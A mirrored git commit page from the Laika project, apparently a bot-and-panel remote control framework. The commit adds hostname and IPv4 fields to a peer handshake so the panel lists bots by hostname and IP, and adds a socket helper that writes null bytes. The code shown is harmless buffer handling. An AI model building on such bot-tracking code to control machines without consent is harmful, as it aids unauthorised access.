mirror of
https://github.com/CPunch/Laika.git
synced 2025-11-29 14:10:05 +00:00
Added hostname, ip info to handshake
- Panel now lists bots by hostname & ip instead of public key
This commit is contained in:
@@ -17,6 +17,9 @@ struct sLaika_peer *laikaS_newPeer(PeerPktHandler *handlers, LAIKAPKT_SIZE *pktS
|
||||
peer->outStart = -1;
|
||||
peer->inStart = -1;
|
||||
peer->useSecure = false;
|
||||
|
||||
memset(peer->hostname, 0, LAIKA_HOSTNAME_LEN);
|
||||
memset(peer->ipv4, 0, LAIKA_IPV4_LEN);
|
||||
return peer;
|
||||
}
|
||||
|
||||
|
||||
@@ -176,6 +176,14 @@ void laikaS_consumeRead(struct sLaika_socket *sock, size_t sz) {
|
||||
laikaM_rmvarray(sock->inBuf, sock->inCount, 0, sz);
|
||||
}
|
||||
|
||||
void laikaS_zeroWrite(struct sLaika_socket *sock, size_t sz) {
|
||||
laikaM_growarray(uint8_t, sock->outBuf, sz, sock->outCount, sock->outCap);
|
||||
|
||||
/* set NULL bytes */
|
||||
memset(&sock->outBuf[sock->outCount], 0, sz);
|
||||
sock->outCount += sz;
|
||||
}
|
||||
|
||||
void laikaS_read(struct sLaika_socket *sock, void *buf, size_t sz) {
|
||||
memcpy(buf, sock->inBuf, sz);
|
||||
laikaM_rmvarray(sock->inBuf, sock->inCount, 0, sz);
|
||||
|
||||
Reference in New Issue
Block a user